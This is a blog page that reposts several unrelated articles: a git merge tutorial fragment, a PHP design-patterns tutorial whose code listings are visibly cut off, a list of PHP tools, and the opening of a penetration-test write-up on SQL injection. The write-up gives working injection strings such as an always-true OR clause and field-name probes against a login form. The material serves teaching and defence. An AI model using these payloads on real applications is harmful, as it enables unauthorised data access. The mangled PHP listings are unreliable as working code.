Conflict markers are left in the problematic files, and after you resolve the conflicts manually, you can update the index with the contents and run git commit, as you normally would when modifying a file.
If you examine the resulting commit using gitk, you will see that it has two parents: one pointing to the top of the current branch, and one to the top of the other branch.

Resolving a merge

When a merge isn't resolved automatically, git leaves the index and the working tree in a special state that gives you all the information you need to help resolve the merge.
Files with conflicts are marked specially in the index, so until you resolve the problem and update the index, git commit will fail:

$ git commit
file.txt: needs merge

Also, git status will list those files as "unmerged", and the files with conflicts will have conflict markers added, like this:

<<<<<<< HEAD:file.txt
Hello world
=======
Goodbye
>>>>>>> 77976da35a11db4580b80ae27e8d65caf5208086:file.txt

All you need to do is edit the files to resolve the conflicts, and then

$ git add file.txt
$ git commit

Note that the commit message will already be filled in for you with some information about the merge. Normally you can just use this default message unchanged, but you may add additional commentary of your own if desired.
The above is all you need to know to resolve a simple merge. But git also provides more information to help resolve conflicts:

Undoing a merge

If you get stuck and decide to just give up and throw the whole mess away, you can always return to the pre-merge state with

$ git reset --hard HEAD

Or, if you've already committed the merge that you want to throw away,

$ git reset --hard ORIG_HEAD

However, this last command can be dangerous in some cases--never throw away a commit if that commit may itself have been merged into another branch, as doing so may confuse further merges.

Fast-forward merges

There is one special case not mentioned above, which is treated differently. Normally, a merge results in a merge commit with two parents, one for each of the two lines of development that were merged.
However, if the current branch has not diverged from the other--so every commit present in the current branch is already contained in the other--then git just performs a "fast forward"; the head of the current branch is moved forward to point at the head of the merged-in branch, without any new commits being created.

Five common PHP design patterns

2012-01-02T09:25:00.000-08:00

Design patterns were introduced to the software community in Design Patterns, by Erich Gamma, Richard Helm, Ralph Johnson, and John Vlissides (colloquially known as the "gang of four"). The core concept behind design patterns, presented in the introduction, was simple. Over their years of developing software, Gamma et al found certain patterns of solid design emerging, just as architects designing houses and buildings can develop templates for where a bathroom should be located or how a kitchen should be configured. Having those templates, or design patterns, means they can design better buildings more quickly. The same applies to software.
Design patterns not only present useful ways for developing robust software faster but also provide a way of encapsulating large ideas in friendly terms. For example, you can say you're writing a messaging system to provide for loose coupling, or you can say you're writing an observer, which is the name of that pattern.
It's difficult to demonstrate the value of patterns using small examples. They often look like overkill because they really come into play in large code bases. This article can't show huge applications, so you need to think about ways to apply the principles of the example -- and not necessarily this exact code -- in your larger applications. That's not to say that you shouldn't use patterns in small applications. Most good applications start small and become big, so there is no reason not to start with solid coding practices like these.
Now that you have a sense of what design patterns are and why they're useful, it's time to jump into five common patterns for PHP V5.
The factory pattern
Many of the design patterns in the original Design Patterns book encourage loose coupling. To understand this concept, it's easiest to talk about a struggle that many developers go through in large systems. The problem occurs when you change one piece of code and watch as a cascade of breakage happens in other parts of the system -- parts you thought were completely unrelated.
The problem is tight coupling. Functions and classes in one part of the system rely too heavily on behaviors and structures in other functions and classes in other parts of the system. You need a set of patterns that lets these classes talk with each other, but you don't want to tie them together so heavily that they become interlocked.
In large systems, lots of code relies on a few key classes. Difficulties can arise when you need to change those classes. For example, suppose you have a User class that reads from a file. You want to change it to a different class that reads from the database, but all the code references the original class that reads from a file. This is where the factory pattern comes in handy.
The factory pattern is a class that has some methods that create objects for you. Instead of using new directly, you use the factory class to create objects. That way, if you want to change the types of objects created, you can change just the factory. All the code that uses the factory changes automatically.
Listing 1 shows an example of a factory class. The server side of the equation comes in two pieces: the database, and a set of PHP pages that let you add feeds, request the list of feeds, and get the article associated with a particular feed.

Listing 1. Factory1.php

getName()."\n" );
?>

An interface called IUser defines what a user object should do. The implementation of IUser is called User, and a factory class called UserFactory creates IUser objects. This relationship is shown as UML in Figure 1.

Figure 1. The factory class and its related IUser interface and user class

If you run this code on the command line using the php interpreter, you get this result:

% php factory1.php 
Jack
%

The test code asks the factory for a User object and prints the result of the getName method.
A variation of the factory pattern uses factory methods. These public static methods in the class construct objects of that type. This approach is useful when creating an object of this type is nontrivial. For example, suppose you need to first create the object and then set many attributes. This version of the factory pattern encapsulates that process in a single location so that the complex initialization code isn't copied and pasted all over the code base.
Listing 2 shows an example of using factory methods.

Listing 2. Factory2.php

getName()."\n" );
?>

This code is much simpler. It has only one interface, IUser, and one class called User that implements the interface. The User class has two static methods that create the object. This relationship is shown in UML in Figure 2.

Figure 2. The IUser interface and the user class with factory methods

Running the script on the command line yields the same result as the code in Listing 1, as shown here:

% php factory2.php 
Jack
%

As stated, sometimes such patterns can seem like overkill in small situations. Nevertheless, it's still good to learn solid coding forms like these for use in any size of project.
The singleton pattern
Some application resources are exclusive in that there is one and only one of this type of resource. For example, the connection to a database through the database handle is exclusive. You want to share the database handle in an application because it's an overhead to keep opening and closing connections, particularly during a single page fetch.
The singleton pattern covers this need. An object is a singleton if the application can include one and only one of that object at a time. The code in Listing 3 shows a database connection singleton in PHP V5.

Listing 3. Singleton.php

_handle =& DB::Connect( $dsn, array() );
  }
  
  public function handle()
  {
    return $this->_handle;
  }
}

print( "Handle = ".DatabaseConnection::get()->handle()."\n" );
print( "Handle = ".DatabaseConnection::get()->handle()."\n" );
?>

This code shows a single class called DatabaseConnection. You can't create your own DatabaseConnection because the constructor is private. But you can get the one and only one DatabaseConnection object using the static get method. The UML for this code is shown in Figure 3.

Figure 3. The database connection singleton

The proof in the pudding is that the database handle returned by the handle method is the same between two calls. You can see this by running the code on the command line.

% php singleton.php 
Handle = Object id #3
Handle = Object id #3
%

The two handles returned are the same object. If you use the database connection singleton across the application, you reuse the same handle everywhere.
You could use a global variable to store the database handle, but that approach only works for small applications. In larger applications, avoid globals, and go with objects and methods to get access to resources.
The observer pattern
The observer pattern gives you another way to avoid tight coupling between components. This pattern is simple: One object makes itself observable by adding a method that allows another object, the observer, to register itself. When the observable object changes, it sends a message to the registered observers. What those observers do with that information isn't relevant or important to the observable object. The result is a way for objects to talk with each other without necessarily understanding why.
A simple example is a list of users in a system. The code in Listing 4 shows a user list that sends out a message when users are added. This list is watched by a logging observer that puts out a message when a user is added.

Listing 4. Observer.php

_observers as $obs )
      $obs->onChanged( $this, $name );
  }

  public function addObserver( $observer )
  {
    $this->_observers []= $observer;
  }
}

class UserListLogger implements IObserver
{
  public function onChanged( $sender, $args )
  {
    echo( "'$args' added to user list\n" );
  }
}

$ul = new UserList();
$ul->addObserver( new UserListLogger() );
$ul->addCustomer( "Jack" );
?>

This code defines four elements: two interfaces and two classes. The IObservable interface defines an object that can be observed, and the UserList implements that interface to register itself as observable. The IObserver list defines what it takes to be an observer, and the UserListLogger implements that IObserver interface. This is shown in the UML in Figure 4.

Figure 4. The observable user list and the user list event logger

If you run this on the command line, you see this output:

% php observer.php 
'Jack' added to user list
%

The test code creates a UserList and adds the UserListLogger observer to it. Then the code adds a customer, and the UserListLogger is notified of that change.
It's critical to realize that the UserList doesn't know what the logger is going to do. There could be one or more listeners that do other things. For example, you may have an observer that sends a message to the new user, welcoming him to the system. The value of this approach is that the UserList is ignorant of all the objects depending on it; it focuses on its job of maintaining the user list and sending out messages when the list changes.
This pattern isn't limited to objects in memory. It's the underpinning of the database-driven message queuing systems used in larger applications.
The chain-of-command pattern
Building on the loose-coupling theme, the chain-of-command pattern routes a message, command, request, or whatever you like through a set of handlers. Each handler decides for itself whether it can handle the request. If it can, the request is handled, and the process stops. You can add or remove handlers from the system without influencing other handlers. Listing 5 shows an example of this pattern.

Listing 5. Chain.php

_commands []= $cmd;
  }

  public function runCommand( $name, $args )
  {
    foreach( $this->_commands as $cmd )
    {
      if ( $cmd->onCommand( $name, $args ) )
        return;
    }
  }
}

class UserCommand implements ICommand
{
  public function onCommand( $name, $args )
  {
    if ( $name != 'addUser' ) return false;
    echo( "UserCommand handling 'addUser'\n" );
    return true;
  }
}

class MailCommand implements ICommand
{
  public function onCommand( $name, $args )
  {
    if ( $name != 'mail' ) return false;
    echo( "MailCommand handling 'mail'\n" );
    return true;
  }
}

$cc = new CommandChain();
$cc->addCommand( new UserCommand() );
$cc->addCommand( new MailCommand() );
$cc->runCommand( 'addUser', null );
$cc->runCommand( 'mail', null );
?>

This code defines a CommandChain class that maintains a list of ICommand objects. Two classes implement the ICommand interface -- one that responds to requests for mail and another that responds to adding users. The UML is shows in Figure 5.

Figure 5. The command chain and its related commands

If you run the script, which contains some test code, you see the following output:

% php chain.php 
UserCommand handling 'addUser'
MailCommand handling 'mail'
%

The code first creates a CommandChain object and adds instances of the two command objects to it. It then runs two commands to see who responds to those commands. If the name of the command matches either UserCommand or MailCommand, the code falls through and nothing happens.
The chain-of-command pattern can be valuable in creating an extensible architecture for processing requests, which can be applied to many problems.
The strategy pattern
The last design pattern we will cover is the strategy pattern. In this pattern, algorithms are extracted from complex classes so they can be replaced easily. For example, the strategy pattern is an option if you want to change the way pages are ranked in a search engine. Think about a search engine in several parts -- one that iterates through the pages, one that ranks each page, and another that orders the results based on the rank. In a complex example, all those parts would be in the same class. Using the strategy pattern, you take the ranking portion and put it into another class so you can change how pages are ranked without interfering with the rest of the search engine code.
As a simpler example, Listing 6 shows a user list class that provides a method for finding a set of users based on a plug-and-play set of strategies.

Listing 6. Strategy.php

_name = $name;
  }

  public function filter( $record )
  {
    return strcmp( $this->_name, $record ) <= 0;
  }
}

class RandomStrategy implements IStrategy
{
  public function filter( $record )
  {
    return rand( 0, 1 ) >= 0.5;
  }
}

class UserList
{
  private $_list = array();

  public function __construct( $names )
  {
    if ( $names != null )
    {
      foreach( $names as $name )
      {
        $this->_list []= $name;
      }
    }
  }

  public function add( $name )
  {
    $this->_list []= $name;
  }

  public function find( $filter )
  {
    $recs = array();
    foreach( $this->_list as $user )
    {
      if ( $filter->filter( $user ) )
        $recs []= $user;
    }
    return $recs;
  }
}

$ul = new UserList( array( "Andy", "Jack", "Lori", "Megan" ) );
$f1 = $ul->find( new FindAfterStrategy( "J" ) );
print_r( $f1 );

$f2 = $ul->find( new RandomStrategy() );
print_r( $f2 );
?>

The UML for this code is shown in Figure 6.

Figure 6. The user list and the strategies for selecting users

The UserList class is a wrapper around an array of names. It implements a find method that takes one of several strategies for selecting a subset of those names. Those strategies are defined by the IStrategy interface, which has two implementations: One chooses users randomly and the other chooses all the names after a specified name. When you run the test code, you get the following output:

% php strategy.php 
Array
(
    [0] => Jack
    [1] => Lori
    [2] => Megan
)
Array
(
    [0] => Andy
    [1] => Megan
)
%

The test code runs the same user lists against two strategies and shows the results. In the first case, the strategy looks for any name that sorts after J, so you get Jack, Lori, and Megan. The second strategy picks names randomly and yields different results every time. In this case, the results are Andy and Megan.
The strategy pattern is great for complex data-management systems or data-processing systems that need a lot of flexibility in how data is filtered, searched, or processed.
Conclusions
These are just a few of the most common design patterns used in PHP applications. Many more are demonstrated in the Design Patterns book. Don't be put off by the mystique of architecture. Patterns are great ideas you can use in any programming language and at any skill level.

50 Extremely Useful PHP Tools

2012-01-01T03:55:00.000-08:00

PHP is one of the most widely used open-source server-side scripting languages that exist today. With over 20 million indexed domains using PHP, including major websites like Facebook, Digg and WordPress, there are good reasons why many Web developers prefer it to other server-side scripting languages, such as Python and Ruby. PHP is faster (updated), and it is the most used scripting language in practice; it has detailed documentation, a huge community, numerous ready-to-use scripts and well-supported frameworks; and most importantly, it’s much easier to get started with PHP than with other scripting languages (Python, for example). That’s why it makes perfect sense to provide the huge community of PHP developers with an overview of useful tools and resources that can make their development process easier and more effective.
This post presents 50 useful PHP tools that can significantly improve your programming workflow. Among other things, you’ll find a plethora of libraries and classes that aid in debugging, testing, profiling and code-authoring in PHP.
You may also want to take a look at the following related posts:

[Editor's note: Have you already got your copy of the Smashing Book #2? The book shares valuable practical insight into design, usability and coding. Have a look at the contents.]

Debugging Tools

Webgrind
Webgrind is an Xdebug profiling Web front end in PHP 5. It implements a subset of the features of kcachegrind, installs in seconds and works on all platforms. For quick ‘n’ dirty optimizations, it does the job.
Xdebug
Xdebug is one of the most popular debugging PHP extensions. It provides a ton of useful data to help you quickly find bugs in your source code. Xdebug plugs right into many of the most popular PHP applications, such as PHPEclipse and phpDesigner.
Gubed PHP Debugger
As the name implies, Gubed PHP Debugger is a PHP debugging tool for hunting down logic errors.
DBG
DBG is a robust and popular PHP debugger for use in local and remote PHP debugging. It plugs into numerous PHP IDE’s and can easily be used with the command line.
PHP_Debug
PHP_Debug is an open-source project that gives you useful information about your PHP code that can be used for debugging. It can output processing times of your PHP and SQL, check the performance of particular code blocks and get variable dumps in graphical form, which is great if you need a more visual output than the one given to you by print_r() or var_dump().
PHP_Dyn
PHP_Dyn is another excellent PHP debugging tool that’s open-source. You can trace execution and get an output of the argument and return values of your functions.
MacGDBp
MacGDBp is a live PHP debugger application for the Mac OS. It has all the features you’d expect from a fully featured debugger, such as the ability to step through your code and set breakpoints.

Testing and Optimization Tools

PHPUnit
PHPUnit is a complete port of the popular JUnit unit testing suite to PHP 5. It’s a tool that helps you test your Web application’s stability and scalability. Writing test cases within the PHPUnit framework is easy; here’s how to do it.
SimpleTest
SimpleTest is a straightforward unit-testing platform for PHP applications. To get up and running with SimpleTest quickly, read through this pragmatic tutorial that shows you how to create a new test case.
Selenium
Selenium Remote Control (RC) is a test tool that allows you to write automated Web application UI tests in any programming language against any HTTP website using any mainstream JavaScript-enabled browser. It can be used in conjunction with PHPUnit to create and run automated tests within a Web browser.
PHP_CodeSniffer
PHP_CodeSniffer is a PHP 5 script for detecting conformance to a predefined PHP coding standard. It’s a helpful tool for maintaining uniform coding styles for large projects and teams.
dBug
dBug is ColdFusion’s cfDump for PHP. It’s a simple tool for outputting data tables that contain information about arrays, classes and objects, database resources and XML resources, making it very useful for debugging purposes.
PHP Profile Class
PHP Profile Class is an excellent PHP profiling tool for your Web applications. Using this class will help you quickly and easily gain insight into which parts of your app could use some refactoring and optimization.

Documentation Tools

phpDocumentor
phpDocumentor (also known as phpdoc and phpdocu) is a documentation tool for your PHP source code. It has an innumerable amount of features, including the ability to output in HTML, PDF, CHM and XML DocBook formats, and has both a Web-based and command-line interface as well as source-code highlighting. To learn more about phpDocumentor, check out the online manual.
PHP DOX
An AJAX-powered PHP documentation search engine that enables you to search titles from all PHP documentation pages.

Security Tools

Securimage
Securimage is a free, open-source PHP CAPTCHA script for generating complex images and CAPTCHA codes to protect forms from spam and abuse.
Scavenger
Scavenger is an open-source, real-time vulnerability management tool. It helps system administrators respond to vulnerability findings, track vulnerability findings and review accepted and false-positive answered vulnerabilities, without “nagging” them with old vulnerabilities.
PHP-IDS
PHP-IDS (PHP-Intrusion Detection System) is a simple-to-use, well-structured, fast and state-of-the-art security layer for your PHP-based Web application.
Pixy: PHP Security Scanner
Pixy is a Java program that performs automatic scans of PHP 4 source code, aimed to detect XSS and SQL injection vulnerabilities. Pixy takes a PHP program as input and creates a report that lists possible vulnerable points in the program, along with additional information for understanding the vulnerability.

Image Manipulation and Graphs

PHP/SWF Charts
PHP/SWF Charts is a powerful PHP tool that enables you to create attractive Web charts and graphs from dynamic data. You can use PHP scripts to generate and gather data from databases, then pass it to this tool to generate Flash (SWF) charts and graphs.
pChart – a chart-drawing PHP library
pChart is a PHP class-oriented framework designed to create aliased charts. Most of today’s chart libraries have a cost; this one is free. Data can be retrieved from SQL queries or CSV files or can be manually provided.
WideImage
WideImage is a PHP library for dynamic image manipulation and processing for PHP 5. To be able to use the library, you should have the GD PHP extension installed on your Web server.
MagickWand For PHP
MagickWand For PHP is a PHP module suite for working with the ImageMagick API, which lets you create, compose and edit bitmap images. It’s a useful tool for quickly incorporating image-editing features in your PHP applications.

PHP Code Beautifier

PHP_Beautifier
PHP Beautifier is a PEAR package for automatically formatting and “beautifying” PHP 4 and PHP 5 source code.
PHPCodeBeautifier
PHPCodeBeautifier is a tool that saves you from hours of reformatting code to suit your own way of presenting it. A GUI version allows you to process files visually; a command-line version can be batched or integrated with other tools (like CVS, SubVersion, IDE, etc.); and there is also an integrated tool of PHPEdit.
GeSHi – Generic Syntax Highlighter
GeSHi is designed to be a simple but powerful highlighting class, with the goal of supporting a wide range of popular languages. Developers can easily add new languages for highlighting and define easily customizable output formats.

Version-Control Systems

Phing
Phing is a popular project version-control system for PHP. It is a useful tool for organizing and maintaining different builds of your project.
xinc
xinc is a continuous integration server version-control system written in PHP 5 (i.e. continuous builds instead of nightly builds). It works great with other systems such as Subversion and Phing.

Useful Extensions, Utilities and Classes

SimplePie
SimplePie is a PHP class that helps you work with RSS feeds. Check out the online RSS and Atom feed reader, which demonstrates a simple Web application that uses SimplePie.
HTML Purifier
HTML Purifier is a standards-compliant HTML filter library written in PHP. HTML Purifier not only removes all malicious code (better known as XSS) with a thoroughly audited, secure yet permissive white list, it also makes sure your documents are standards-compliant. Open source and highly customizable.
TCPDF
TCPDF is an open-source PHP class for generating PDF documents.
htmlSQL
htmlSQL is a unique tool. It is a PHP class for querying HTML values in an SQL-like syntax. Check out the live demonstration of how htmlSQL works.
The Greatest PHP Snippet File Ever (Using Quicktext for Notepad++)
“A little something for all coders: a snippets file that I use for PHP coding. This is designed to be used with Quicktext for Notepad++, but feel free to adapt it to whatever text editor you prefer.”
Creole
Creole is a database abstraction layer for PHP5. It abstracts PHP’s native database-specific API to create more portable code while also providing developers with a clean, fully object-oriented interface based loosely on the API for Java’s JDBC.
PHPLinq
LINQ is a component that adds native data querying capabilities to PHP using a syntax reminiscent of SQL. It defines a set of query operators that can be used to query, project and filter data in arrays, enumerable classes, XML, relational databases and third-party data sources. [via]
PHPMathPublisher
With PhpMathPublisher, you can publish mathematical documents on the Web using only a PHP script (no LaTeX programs on the server and no MathML).
phpMyAdmin
If you’re working with PHP, there’s a big chance you’re set up in a LAMP configuration. phpMyAdmin is Web-based tool for managing, building, importing, exporting and exploring MySQL databases.
PHPExcel
PHPExcel is a set of useful PHP classes for working with Microsoft Excel files. PHPExcel allows you to read Excel files and write to them. This is useful for dynamically generating Excel spreadsheets for downloading.
Phormer
Phormer is a PHP-based photo gallery management application that helps you to store, categorize and trim your photos online.
xajax PHP Class Library
xajax is a PHP class for easily working with PHP AJAX applications. It gives you an easy-to-use API for quickly managing AJAX-related tasks. Check out the xajax Multiplier demo and the Graffiti Wall demo to see the xajax PHP class in action.
PHP User Class
PHP User Class is an excellent script that helps you create a system for user authentication (i.e. registration, log in, account profile, etc.). It’s a useful utility to have around if you require user registration for your Web applications.
PHP-GTK
PHP-GTK is a PHP extension for the GTK+ toolkit (a robust toolkit for developing GUIs). It is a suite of useful OOP functions and classes to help you rapidly build cross-platform, client-side GUI’s for your application.

PHP Online Tools and Resources

Minify!
Minify is a PHP 5 app that can combine multiple CSS or JavaScript files, compress their content (i.e. remove unnecessary white space and comments) and serve the results with HTTP encoding (via Gzip/deflate) and headers that allow optimal client-side caching. This will help you follow several of Yahoo!’s Rules for High Performance Websites.
HTTP_StaticMerger: Automatic “merging” of CSS and JavaScript files
This library automatically merges sets of static files (CSS or JavaScript) and speeds up page loading (by lowering the number of HTTP queries). It is recommended to use this together with caching reverse-proxy to minimize the response time.
PHP Object Generator
PHP Object Generator is an open-source Web-based tool that helps you quickly construct PHP objects and leverage object-oriented programming (OOP) principles in your code.
gotAPI/PHP
gotAPI is a useful online tool for quickly looking up PHP functions and classes. Also check out the Quick PHP look-up widget example in case you’d like to include this awesome look-up feature on your website.
koders
koders is a search engine for open-source and downloadable code. It currently has over a billion lines of code indexed and isn’t limited to just PHP.
PECL
PECL is a directory of all known PHP extensions and a hosting facility for downloading and developing PHP extensions.

In-Browser Tools (Firefox Add-Ons)

FirePHP
FirePHP is a Firefox extension that allows you to log data in Firebug. It has a variety of useful logging features, such as the ability to change your error and exception handling on the fly and to log errors directly to the Firebug console. To learn more about what FirePHP can do, check out the FirePHP guide on how to use FirePHP. For developers using the Zend PHP framework, you might find this guide on using FirePHP with Zend useful.
phpLangEditor
phpLangEditor is a very handy Firefox add-on for translating language files and variables in your script.
PHP Lookup
PHP Lookup is a built-in search bar to help you quickly look up references to PHP syntax.
PHP Manual Search
PHP Manual Search is a handy search bar that searches official PHP documentation from within your Web browser.

Frameworks for PHP

Dwoo
Dwoo is a PHP 5 template engine positioned as an alternative to Smarty. It is (nearly) fully compatible with its templates and plug-ins, but it is being written from scratch and is aimed to go one step further with a cleaner code base.
CodeIgniter
CodeIgniter is a powerful, high-performance, open-source PHP framework that helps you author PHP applications rapidly. CodeIgniter is known for having a light footprint, thereby reducing your server’s work. You can get up and running with CodeIgniter in a jiffy: it has an awesome online manual, a couple of helpful video tutorials and an active user forum.
YII Framework
Here is a high-performance component-based PHP framework that is supposed to be more efficient than CodeIgniter, CakePHP, ZF and Symfony. An optimal solution for developing large-scale Web applications. Yii supports MVC, DAO/ActiveRecord, I18N/L10N, caching, jQuery-based AJAX support, authentication and role-based access control, scaffolding, input validation, widgets, events, theming and Web services.
NetBeans
A dedicated PHP coding environment and complete integration with web standards. The NetBeans PHP editor is dynamically integrated with NetBeans HTML, JavaScript and CSS editing features such as syntax highlighting and the JavaScript debugger. NetBeans IDE 6.5 fully supports iterative development, so testing PHP projects follows the classic patterns familiar to web developers.
Solar
Solar is a PHP 5 development framework for Web applications derived from the Savant templating engine. Solar uses the MVC architectural pattern and has a host of classes and functions for securing your Web app against SQL injection, cross-website scripting (XSS) and other common exploits.
symfony
symfony is an open-source PHP 5 Web application framework that is well known for its modularity and useful library of classes. To get up and running as fast as possible, you should check out the pragmatic symfony online tutorial called “The symfony 1.2 advent calendar tutorial,” which takes you through a step-by-step example of building your own symfony-based Web application.
PEAR – PHP Extension and Application Repository
PEAR is a popular framework and distribution system for reusable PHP components. The purpose of the framework is to provide a structured library of open-source code for PHP users, a system for code distribution and package maintenance and a standard style for PHP code.
Propel
Propel is an Object-Relational Mapping (ORM) framework for PHP 5. It allows you to access your database using a set of objects, providing a simple API for storing and retrieving data.
{{macro}} template engine
{{macro}} compiles initial templates into executable PHP scripts with very clean syntax (much cleaner than WACT and Smarty) and executes them very fast. The engine doesn’t use an XML-like syntax; there are only two data scopes, global and local, and no more data sources (all data is displayed with regular PHP variables); and the system supports all WACT features such as templates wrapping and including.
Zend Framework
The Zend Framework by Zend Technologies (the creators of PHP’s scripting engine) is a popular PHP Web application framework that embraces the principles of PHP OOP; it’s very extensible and has built-in utilities for working with free Web service APIs, such as those of Google, Flickr and Amazon.
Qcodo
Qcodo is an excellent open-source PHP Web application framework. It’s subdivided into two parts: (1) Code Generator, and (2) Qforms. Code Generator handles the creation of object code and PHP and HTML front-end code from your data model. Qforms is an intuitive system for handling and creating complex PHP-driven HTML Web forms. Check out demos of applications that use Qcodo and presentational material that covers Qcodo.
SAJAX
SAJAX is a JavaScript and AJAX application framework that works well with PHP (as well as several other server-side scripting languages). See SAJAX at work by going to Wall live demonstration.
Smarty
Smarty is a popular PHP templating system to help you separate PHP logic and front-end code (HTML, CSS, JavaScript). It will keep your projects modular and easier to maintain.
CakePHP
CakePHP is one of the leading PHP frameworks for creating robust, fully-featured Web applications. CakePHP has an extensive and well-organized online manual. If you want to learn via video tutorials, check out the CakePHP screencasts.
Savant2
Savant2 is another popular object-oriented PHP templating system. Instead of a special syntax unique to Savant2, you use PHP syntax to develop your project’s template.
PHPSpec
PHPSpec is a simple and intuitive PHP framework. It follows the Behavior-Driven Development principle and therefore allows you to write behavior-oriented code, oftentimes in plain English.

PHP IDEs and Editors

PHPEclipse
PHPEclipse is a popular PHP source-code editor that is open source and runs on all the major operating systems, such as Windows, Linux and Mac OS. It has all the features you’d expect from a PHP source-code editor, such as code-folding, syntax highlighting, hover-over tool tips and support for XDebug and DBG.
PhpED
PhpED is an excellent IDE for Windows users. It is one of the most robust and feature-packed IDEs currently out on the market and has useful features such as a built-in source-code profiler to find bottlenecks in your PHP source code and excellent integration with third-party apps and services just as front-end code validation.
phpDesigner
phpDesigner is a lightweight PHP editor/IDE that also handles front-end code and markup remarkably well. Check out the phpDesigner online tutorials, as well as screencasts on phpDesigner to help you learn more about the IDE.
Zend Studio
Zend Studio is an excellent PHP IDE for Eclipse. It’ll help you develop, deploy and manage Rich Internet Applications (RIAs) in an intuitive interface.
Aptana PHP
Aptana PHP is an open-source IDE extension/plug-in to be used in conjunction with Aptana Studio. To learn more, be sure to check out the online documentation about Aptana PHP.
PDT
PDT is a PHP Development Tools framework that’s part of the Eclipse project. PDT includes all the necessary tools for you to create PHP-based Web applications.
VS.Php
VS.Php is a PHP IDE for MS Visual Studio, making it a great IDE for recently converted ASP developers who have used MS VS to develop Web applications. To get you up and running ASAP with VS.Php, check out Jcx.Software’s online tutorials as well as its online documentation.
PHPEdit
PHPEdit is an excellent PHP editor/IDE with a ton of useful features and a very intuitive user interface. To learn more about why PHPEdit is a good IDE, read the 10 reasons to use PHPEdit and view the introductory screencast about PHPEdit.

Sources and Resources

PHP Function Reference
PHP Function Reference (PHPfr) is a Mac OS X dashboard widget that provides a fast look-up of information about the PHP Web programming language.
30 Useful PHP Classes and Components
30 useful PHP classes and components that you can use to test, develop, debug and deploy your PHP applications.
PHP advent 2008
In December, phpadvent.org collected the wisdom of people in the PHP community who kindly donated their ideas and tips to see us through the new year.
Useful in-browser development tools for PHP
PHPClasses.org
A huge repository of various PHP classes.
PHP Developer’s Toolbox
Various PHP-related resources in a brief overview.

SQL Injection Attacks by Example

2012-01-01T02:30:00.003-08:00

A customer asked that we check out his intranet site, which was used by the company's employees and customers. This was part of a larger security review, and though we'd not actually used SQL injection to penetrate a network before, we were pretty familiar with the general concepts. We were completely successful in this engagement, and wanted to recount the steps taken as an illustration.

Table of Contents

"SQL Injection" is subset of the an unverified/unsanitized user input vulnerability ("buffer overflows" are a different subset), and the idea is to convince the application to run SQL code that was not intended. If the application is creating SQL strings naively on the fly and then running them, it's straightforward to create some real surprises.
We'll note that this was a somewhat winding road with more than one wrong turn, and others with more experience will certainly have different -- and better -- approaches. But the fact that we were successful does suggest that we were not entirely misguided.
There have been other papers on SQL injection, including some that are much more detailed, but this one shows the rationale of discovery as much as the process of exploitation.

The Target Intranet

This appeared to be an entirely custom application, and we had no prior knowledge of the application nor access to the source code: this was a "blind" attack. A bit of poking showed that this server ran Microsoft's IIS 6 along with ASP.NET, and this suggested that the database was Microsoft's SQL server: we believe that these techniques can apply to nearly any web application backed by any SQL server.
The login page had a traditional username-and-password form, but also an email-me-my-password link; the latter proved to be the downfall of the whole system.
When entering an email address, the system presumably looked in the user database for that email address, and mailed something to that address. Since my email address is not found, it wasn't going to send me anything.
So the first test in any SQL-ish form is to enter a single quote as part of the data: the intention is to see if they construct an SQL string literally without sanitizing. When submitting the form with a quote in the email address, we get a 500 error (server failure), and this suggests that the "broken" input is actually being parsed literally. Bingo.
We speculate that the underlying SQL code looks something like this:

SELECT fieldlist
  FROM table
 WHERE field = '$EMAIL';

Here, $EMAIL is the address submitted on the form by the user, and the larger query provides the quotation marks that set it off as a literal string. We don't know the specific names of the fields or table involved, but we do know their nature, and we'll make some good guesses later.
When we enter steve@unixwiz.net' - note the closing quote mark - this yields constructed SQL:

SELECT fieldlist
  FROM table
 WHERE field = 'steve@unixwiz.net'';

when this is executed, the SQL parser find the extra quote mark and aborts with a syntax error. How this manifests itself to the user depends on the application's internal error-recovery procedures, but it's usually different from "email address is unknown". This error response is a dead giveaway that user input is not being sanitized properly and that the application is ripe for exploitation.
Since the data we're filling in appears to be in the WHERE clause, let's change the nature of that clause in an SQL legal way and see what happens. By entering anything' OR 'x'='x, the resulting SQL is:

SELECT fieldlist
  FROM table
 WHERE field = 'anything' OR 'x'='x';

Because the application is not really thinking about the query - merely constructing a string - our use of quotes has turned a single-component WHERE clause into a two-component one, and the 'x'='x' clause is guaranteed to be true no matter what the first clause is (there is a better approach for this "always true" part that we'll touch on later).
But unlike the "real" query, which should return only a single item each time, this version will essentially return every item in the members database. The only way to find out what the application will do in this circumstance is to try it. Doing so, we were greeted with:

Your login information has been mailed to random.person@example.com.

Our best guess is that it's the first record returned by the query, effectively an entry taken at random. This person really did get this forgotten-password link via email, which will probably come as surprise to him and may raise warning flags somewhere.
We now know that we're able to manipulate the query to our own ends, though we still don't know much about the parts of it we cannot see. But we have observed three different responses to our various inputs:

"Your login information has been mailed to email"
"We don't recognize your email address"
Server error

The first two are responses to well-formed SQL, while the latter is for bad SQL: this distinction will be very useful when trying to guess the structure of the query.

Schema field mapping

The first steps are to guess some field names: we're reasonably sure that the query includes "email address" and "password", and there may be things like "US Mail address" or "userid" or "phone number". We'd dearly love to perform a SHOW TABLE, but in addition to not knowing the name of the table, there is no obvious vehicle to get the output of this command routed to us.
So we'll do it in steps. In each case, we'll show the whole query as we know it, with our own snippets shown specially. We know that the tail end of the query is a comparison with the email address, so let's guess email as the name of the field:

SELECT fieldlist
  FROM table
 WHERE field = 'x' AND email IS NULL; --';

The intent is to use a proposed field name (email) in the constructed query and find out if the SQL is valid or not. We don't care about matching the email address (which is why we use a dummy 'x'), and the -- marks the start of an SQL comment. This is an effective way to "consume" the final quote provided by application and not worry about matching them.
If we get a server error, it means our SQL is malformed and a syntax error was thrown: it's most likely due to a bad field name. If we get any kind of valid response, we guessed the name correctly. This is the case whether we get the "email unknown" or "password was sent" response.
Note, however, that we use the AND conjunction instead of OR: this is intentional. In the SQL schema mapping phase, we're not really concerned with guessing any particular email addresses, and we do not want random users inundated with "here is your password" emails from the application - this will surely raise suspicions to no good purpose. By using the AND conjunction with an email address that couldn't ever be valid, we're sure that the query will always return zero rows and never generate a password-reminder email.
Submitting the above snippet indeed gave us the "email address unknown" response, so now we know that the email address is stored in a field email. If this hadn't worked, we'd have tried email_address or mail or the like. This process will involve quite a lot of guessing.
Next we'll guess some other obvious names: password, user ID, name, and the like. These are all done one at a time, and anything other than "server failure" means we guessed the name correctly.

SELECT fieldlist
  FROM table
 WHERE email = 'x' AND userid IS NULL; --';

As a result of this process, we found several valid field names:

email
passwd
login_id
full_name

There are certainly more (and a good source of clues is the names of the fields on forms), but a bit of digging did not discover any. But we still don't know the name of the table that these fields are found in - how to find out?

Finding the table name

